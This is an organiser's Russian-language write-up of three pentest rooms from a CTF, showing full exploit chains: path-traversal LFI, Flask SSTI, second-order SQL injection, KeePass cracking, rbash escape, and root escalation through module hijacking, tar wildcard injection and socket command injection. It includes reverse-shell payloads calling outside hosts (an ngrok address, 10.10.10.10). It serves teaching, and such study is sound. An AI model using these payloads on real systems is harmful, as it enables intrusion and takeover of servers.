TQL CTF Pentest

TQL CTF Pentest

@fefuctf @collapsz

Вступление

Всем привет! 4 сентября завершились международные соревнования по программированию систем информационной безопасности TQL CTF, где мне довелось поучаствовать в роли организатора и разработчика заданий. В рамках данной статьи я предлагаю ознакомиться с тремя тремя "комнатами", которые я подготовил для данного ивента. Все три моих задачки относились к категории Pentest и цель была проста – найти уязвимость в веб-приложении и повысить привилегии до рута на сервере, где это приложение крутится. Начнем =)

Inspection, Easy

Начнем с комнаты легкой сложности, с которой справились 14 команд – Inspection. В описании к заданию даны два порта, можно их, конечно, просканировать, но во всех трех комнатах на портах висит два сервиса – веб и ssh соответственно

Inspection

Первым делом отправимся изучать веб-интерфейс приложения

Web app

Немного изучив функционал видим, что включение страниц выполняется через параметр page:

?page=

Однако попытка проэксплуатировать Path Traversal успехом не увенчалась:

LFI Failed

Других векторов тут не нашлось, поэтому попробуем покрутить PTA ручками или при помощи словаря нагрузок через Intruder, но результат мы должны получить один – нагрузка вида ....//....//....//....//etc/passwd показала нам, что LFI имеет место быть:

LFI Success

Узнав имя пользователя, читаем файл .bash_history в его домашней директории, откуда получаем пароль для ssh:

.bash_history

Подключаемся по ssh с полученными кредами dexter:s2cr2t_p255_f0r_ssH. Первым делом после этого проверяем sudo -l и видим, что можем от имени пользователя запускать безобидный скрипт, который выполняет системный вызов df -h (проверяет свободное место на диске) при помощи библиотеки subprocess.

disk_usage.py

Скрипт расположен в домашней директории нашего пользователя, а значит мы можем проэксплуатировать Python Module Hijacking. Для этого выполним следующую последовательность команд:

dexter@0b758346e7ad:~$ chmod +w .
dexter@0b758346e7ad:~$ echo 'import os; os.system("/bin/bash")' > subprocess.py
dexter@0b758346e7ad:~$ ls -l
total 12
-rw-r--r-- 1 root root 201 Sep 1 03:16 disk_usage.py
-rw-rw-r-- 1 dexter dexter 34 Sep 4 09:48 subprocess.py
-r-------- 1 dexter dexter 22 Sep 1 03:17 user.txt

Мы создали самописный модуль subprocess, который будет иметь первый приоритет для функции import. Нам осталось лишь запустить скрипт с sudo:

dexter@0b758346e7ad:~$ sudo /usr/bin/python3 /home/dexter/disk_usage.py
root@0b758346e7ad:/home/dexter# id
uid=0(root) gid=0(root) groups=0(root)

Рут взят, осталось собрать флаги user.txt и root.txt

PWNed!

Temple, Medium

Следующая на очереди – комната Temple средней сложности. Она поддалась лишь четырем командам

Temple

На первом порту висит приложение с формой регистрации и авторизации

Auth page

Регнем юзера и авторизуемая:

home page

Небогато, однако после авторизации можем видеть, что нам была присвоена сессионная кука:

Session cookie

Можем попытать удачу и попытаться сбрутить ее при помощи flask-unsign:

┌──(kali㉿kali)-[~]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJyrViotTi2KT0ksSVSyUqqOAXPzEnNTY5SsFGKUkvNzchILiqtilHSAvMxin_z09NQUzzyIbElRKVBdrVItAFypF8g.Ztgu7Q.wdcJ2u8U5MOs2PawYLUH0oAv4Ms' --no-literal-eval
[*] Session decodes to: {'user_data': '{"username": "collapsz", "isLoggedIn": "true"}'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 640 attempts
b'monkeys'

Ага, кука у нас подписана слабым ключом. Однако никаких опасных ключей в куке не хранится и подписывать ее самостоятельно незачем. Вспомним, что приложение написано на фреймворке Flask и весьма вероятно здесь используется какой-то шаблонизатор. Регнем юзера {{7*9}} и повторим операцию:

┌──(kali㉿kali)-[~]
└─$ python3 -m flask_unsign -u --wordlist=/usr/share/wordlists/rockyou.txt --cookie '.eJyrViotTi2KT0ksSVSyUqqOAXPzEnNTY5SsFGKUzIxjlHSAdGaxT356emqKZx5EvKSoFKiiVqkWALJNFMk.ZtgwRA.R75EguCOOOSf32b35Sgw46lMnlk' --no-literal-eval
[*] Session decodes to: {'user_data': '{"username": "63", "isLoggedIn": "true"}'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 640 attempts
b'monkeys'

В ключе username видим значение 63 – у нас SSTI!

Теперь подберем SSTI-нагрузку для получения реверс-шелла, например:

echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 9001 >/tmp/f" | base64

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzAudGNwLmpwLm5ncm9rLmlvLzEwMzM2IDA+JjE=" | base64 -d | bash').read() }}

Регаемся с таким именем, авторизуемся, ловим и стабилизируем шелл:

┌──(kali㉿kali)-[~/Music/1]
└─$ nc -lvnp 3333    
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 42390
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
app@ef1d1fb98537:~$ id
id                                                                                                              
uid=1001(app) gid=1001(app) groups=1001(app)                                                                                         
app@ef1d1fb98537:~$ python3 -c "import pty; pty.spawn('/bin/bash');"

Изучаем где оказались, проверяем sudoers:

app@ef1d1fb98537:~$ sudo -l
sudo -l
Matching Defaults entries for app on e5e32aa0e6d1:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
  use_pty

User app may run the following commands on e5e32aa0e6d1:
  (quentin) NOPASSWD: /home/quentin/notes

Бинарник приветствует пользователя и запрашивает пароль – пароль мы не знаем

app@ef1d1fb98537:/home/quentin$ ./notes
./notes
Hey pal, enter you password! : 123
123
Wrong password. 

Грузим бинарь себе и попробуем этот пароль выяснить.

Ida
  • В случае ввода верного пароля, выполняется системный вызов cat notes.txt
  • Перед самим сравнением в !strcmp(s1,s2) вызывается функция encrypt_decrypt, которая расшифровывает байты пароля из памяти путем ксора с 0xAC:
encrypt_decrypt
  • Сам массив зашифрованных байт можем найти в памяти:
encrypted array

Копируем массив, пишем несложный декриптор, получаем пароль:

xor_key = 0xAC
encrypted_password = b'\xdb\xc4\x98\xd8\xf3\xcd\xf3\xdb\x9c\xc2\xc8\xc9\xde\xca\xd9\xc0\xf3\xc0\xc5\xca\xc9'
decrypted_password = bytes([b ^ xor_key for b in encrypted_password])
print(decrypted_password.decode())
wh4t_a_w0nderful_life

Собираем всю эту историю воедино и получаем пароль от ssh:

app@e5e32aa0e6d1:/home/quentin$ sudo -u quentin /home/quentin/notes
sudo -u quentin /home/quentin/notes
Hey pal, enter you password! : wh4t_a_w0nderful_life
wh4t_a_w0nderful_life
The password is right, here is your stuff: 
TO DO:

1. Finish the Template project.
2. Read the "Dracula" until Monday, gotta return the book to the owner
3. Speak to Din about him not having his passwords protected

Notes:

My SSH password is "w3lc0m3_to_th3_T3mPL3!"

Туда и двинемся. Изучить где оказались можно при помощи linpeas или вручную проверив популярные вектора, так или иначе рано или поздно напоремся на следующую крон-задачу:

crontab

Крон-задач для пользователя нет, значит скрипт, возможно, работает от рута, а содержимое директории backups – тому подтверждение:

backups

Внимательно изучив скрипт, можно увидеть вектор повышения привилегий через tar – Wildcard Injection. Для повышения переместимся в директорию /home/quentin и выполним следующее:

quentin@e5e32aa0e6d1:~$ chmod +w .
quentin@e5e32aa0e6d1:~$ echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > tql.sh
quentin@e5e32aa0e6d1:~$ touch /home/quentin/--checkpoint=1
quentin@e5e32aa0e6d1:~$ touch /home/quentin/--checkpoint-action=exec=sh\ tql.sh

Далее ждем, пока крон выполнит свою работу и проверяем директорию /tmp:

quentin@e5e32aa0e6d1:~$ ls -la /tmp
total 1372
drwxrwxrwt 1 root root  4096 Sep 4 10:34 .
drwxr-xr-x 1 root root  4096 Sep 4 10:12 ..
-rwsr-sr-x 1 root root 1396520 Sep 4 10:34 bash

Запускаем /tmp/bash -p с сохранением прав и получаем рута на машине:

quentin@e5e32aa0e6d1:~$ /tmp/bash -p
bash-5.1# id
uid=1000(quentin) gid=1000(quentin) euid=0(root) egid=0(root) groups=0(root),1000(quentin)

История с флагами все та же. PWNed!

Inquisition, Hard

Ну и последний наш гость – комната Inquisition, которая поддалась лишь двум командам

Inquisition

Снова веб, рега и авторизация:

auth page

После авторизации видим, что у приложения имеется функционал смены пароля:

home page

Такой функционал легко реализуется при помощи SQL-запроса вида:

SQL Query

Проверим корректность работы этого запроса путем регистрации юзернейма с кавычкой:

Register SQL

При попытке сменить ему пароль ловим Internal Server Error:

500

По всей видимости, запрос не является параметризированным и уязвим к Second-Order SQL-инъекции

Вероятно, запрос выглядит как

Синтаксис нарушен

Если зарегистрировать пользователя collapsz'-- - :

SQL Injection

Часть запроса после юзернейма будет закомментирована и не будет обрабатываться.

Зарегистрируем пользователя admin'-- - и попробуем сменить ему пароль:

Success

Запрос, вероятно, выглядел так:

SQL Injection

И если верить синтаксису, мы успешно обновили пароль пользователю admin. Попробуем зайти и действительно попадаем в админку:

Admin page

Во вкладке Admin Page видим API:

Читаем инструкции к ним:

API Documentation

Изучив доку, получаем следующее:

  • есть API Fetch Content, которая умеет отправлять GET-запросы на заданный ресурс и сохранять результат в директорию modules с заданным названием
  • есть API Run Script, которая умет выполнять python-скрипты с заданным называнием

Таким образом получаем вектор для RCE:

  • Поднимаем у себя HTTP-сервер, на котором размещаем файл с реверс-шелл нагрузкой на Python, например:
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("0.tcp.jp.ngrok.io",10336));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")
HTTP Server
  • Отправляем запрос к этому скрипту, используя Fetch API и сохраняем его содержимое в файл script.py
Fetch
  • Запускаем сохраненный скрипт, используя Run Script API
  • Получаем шелл:
┌──(kali㉿kali)-[~/Music/1]
└─$ nc -lvnp 3333
listening on [any] 3333 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 37896
$ python3 -c "import pty; pty.spawn('/bin/bash');"
python3 -c "import pty; pty.spawn('/bin/bash');"
app@52511c27c982:~$ id
id
uid=1001(app) gid=1001(app) groups=1001(app)
app@52511c27c982:~$

Изучая, где оказались, находим пользователя darel, а в его домашней директории файл Database.kdbx – база данных Keepass:

app@52511c27c982:/home/darel$ ls -la 
ls -la 
total 48
dr-xr-xr-x 1 root darel 4096 Sep 4 10:50 .
drwxr-xr-x 1 root root 4096 Sep 3 16:52 ..
-r-xr-xr-x 1 root root  10 Sep 3 16:52 .bash_login
-r-xr-xr-x 1 root darel 10 Sep 3 16:52 .bash_logout
-r-xr-xr-x 1 root root  10 Sep 3 16:52 .bash_profile
-r-xr-xr-x 1 root darel 3803 Sep 3 16:52 .bashrc
-r-xr-xr-x 1 root darel 10 Sep 3 16:52 .profile
drwx------ 2 darel darel 4096 Sep 3 16:52 .ssh
-rw-r--r-- 1 root root 2206 Sep 3 16:49 Database.kdbx
-r-------- 1 darel darel 28 Sep 3 16:52 user.txt

Сохраняем его себе и ломаем при помощи John the Ripper

┌──(kali㉿kali)-[~/Desktop]
└─$ keepass2john Database.kdbx > bruteforce && john bruteforce  
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64])
Cost 1 (iteration count) is 60000 for all loaded hashes
Cost 2 (version) is 2 for all loaded hashes
Cost 3 (algorithm [0=AES 1=TwoFish 2=ChaCha]) is 0 for all loaded hashes
Will run 4 OpenMP threads
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 6 candidates buffered for the current salt, minimum 8 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
nothing     (Database)   
1g 0:00:00:02 DONE 2/3 (2024-09-04 07:12) 0.3984g/s 496.4p/s 496.4c/s 496.4C/s frodo..barbara
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Получили пароль – nothing

В самой базе данных находим каталог Backups с текстовым файлом hashes:

Keepass

Сохраняем себе хеши и ломаем любым удобным способом:

hashes

Получили два пароля, один из которых оказался валидным для пользователя:

darel:goodpassword

Цепляемся под ним по ssh...и получаем кучу каких-то ошибок:

rbash: line 3: command: -p: restricted
rbash: line 3: command: -p: restricted
rbash: line 12: command: -p: restricted
rbash: line 20: .: /etc/profile: restricted
rbash: line 22: exec: restricted

Вернемся к нашему шеллу и сменим пользователя при помощи su darel:

darel@52511c27c982:/home/app$ id
uid=1000(darel) gid=1000(darel) groups=1000(darel)
darel@52511c27c982:/home/app$ cd /
rbash: cd: restricted
darel@52511c27c982:/home/app$ ls
rbash: ls: command not found
darel@52511c27c982:/home/app$ cat app.py
rbash: cat: command not found
darel@52511c27c982:/home/app

И тут же понимаем, что оказались в ограниченной среде – rbash. У нас нет доступа к бинарникам, мы не можем изменять переменные окружения, использовать / в командах...короче с таким шеллом каши не сварим, нужно байпасить. Немного изучив доступные бинари находим vim, который и будем использовать для обхода rbash.

  • Открываем vim и прописываем
:set shell=/bin/bash
  • Тыкаем Enter и следом за этим пишем
:shell

После чего получаем возможность перемещаться по директориям и понимаем, что больше не находимся в rbash:

rbash bypass

Экспортируем переменную PATH для доступа к бинарям:

export PATH=/bin

Шелл стабилизирован:

export PATH

Далее наша задача – повышение привилегий. При помощи linpeas или вручную можем поискать какие-то артефакты в системе. В данном случае машина зачем-то что-то слушает:

darel@52511c27c982:/bin$ netstat -l                                                                                             
netstat -l                                                                                                          
Active Internet connections (only servers)                                                                                          
Proto Recv-Q Send-Q Local Address     Foreign Address    State                                                                          
tcp    0   0 0.0.0.0:webmin     0.0.0.0:*       LISTEN                                                                          
tcp    0   0 0.0.0.0:ssh      0.0.0.0:*       LISTEN                                                                          
Active UNIX domain sockets (only servers)                                                                                          
Proto RefCnt Flags   Type   State    I-Node Path                                                                               
unix 2   [ ACC ]  STREAM  LISTENING  91503437 /bin/socket.s

Проводим небольшой ресерч и понимаем, что имеем дело с Socket Command Injection.

Готовим эксплоит:

echo "cp /bin/bash /tmp/bash; chmod +s /tmp/bash; chmod +x /tmp/bash;" | socat - UNIX-CLIENT:/bin/socket.s

Запускаем и следом проверяем /tmp:

Exploit

Видим бинарник баша с suid-битом рута. Знакомая ситуация, не так ли?

Запускаем /tmp/bash -pи получаем рута на этой машине:

darel@52511c27c982:/bin$ /tmp/bash -p
/tmp/bash -p
bash-5.1# id
id
uid=1000(darel) gid=1000(darel) euid=0(root) egid=0(root) groups=0(root),1000(darel)

PWNed!

Заключение

Вот такие вот румы мне довелось подготовить. Благодарю за прочтение, а так же shoutout to @st1zz999 – крутому парню который фб-шнул все три этих комнаты =)

Report Page